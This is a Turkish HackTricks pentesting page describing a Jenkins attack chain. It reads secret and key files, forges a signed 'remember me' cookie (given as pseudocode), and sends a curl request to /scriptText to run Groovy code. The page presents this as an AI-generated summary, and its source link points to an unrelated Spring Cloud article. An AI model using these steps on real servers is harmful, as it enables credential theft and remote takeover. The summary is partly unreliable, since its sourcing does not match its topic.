Jenkins Arbitrary File Read to RCE via “Remember Me”
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Bu blog yazısında, Jenkins’teki bir Yerel Dosya Dahil Etme açığını RCE’ye dönüştürmenin harika bir yolunu bulmak mümkün: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Bu, bir yerel dosya okuma istismar edilerek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar:
Saldırı Ön Koşulları
- Özellik Gereksinimi: “Beni hatırla” etkin olmalıdır (varsayılan ayar).
- Erişim Düzeyleri: Saldırganın Genel/Okuma izinlerine ihtiyacı vardır.
- Gizli Erişim: Anahtar dosyalardan hem ikili hem de metin içeriğini okuma yeteneği.
Ayrıntılı İstismar Süreci
Adım 1: Veri Toplama
Kullanıcı Bilgisi Alma
- Her kullanıcı için
$JENKINS_HOME/users/*.xmldosyasından kullanıcı yapılandırması ve gizli bilgileri erişin: - Kullanıcı Adı
- Kullanıcı tohum
- Zaman Damgası
- Şifre karması
Gizli Anahtar Çıkartma
- Çerezi imzalamak için kullanılan kriptografik anahtarları çıkartın:
- Gizli Anahtar:
$JENKINS_HOME/secret.key - Anahtar:
$JENKINS_HOME/secrets/master.key - MAC Anahtar Dosyası:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Adım 2: Çerez Sahteciliği
Token Hazırlığı
- Token Süre Sonu Zamanını Hesapla:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Mevcut zamana bir saat ekler
- Token için Verileri Birleştir:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Anahtarının Şifre Çözümü
- MAC Anahtar Dosyasını Şifre Çöz:
key = toAes128Key(masterKey) // Anahtarı AES128 anahtar formatına dönüştür
decrypted = AES.decrypt(macFile, key) // .mac dosyasını şifre çöz
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
İmza Hesaplama
- HMAC SHA256 Hesapla:
mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesapla
tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştür
Çerez Kodlama
- Son Çerezi Oluştur:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Çerez verilerini Base64 ile kodla
Adım 3: Kod Çalıştırma
Oturum Kimlik Doğrulaması
- CSRF ve Oturum Token’larını Al:
/crumbIssuer/api/jsonadresine bir istek yaparakJenkins-Crumb’ı elde et.- Yanıttan
JSESSIONID’yi yakala, bu, hatırla çerezi ile birlikte kullanılacaktır.
Komut Çalıştırma İsteği
- Groovy Script ile POST İsteği Gönder:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovy script, sistem düzeyinde komutları veya Jenkins ortamında diğer işlemleri çalıştırmak için kullanılabilir.
Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins’e istek yapmanın nasıl yapılacağını göstermektedir.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

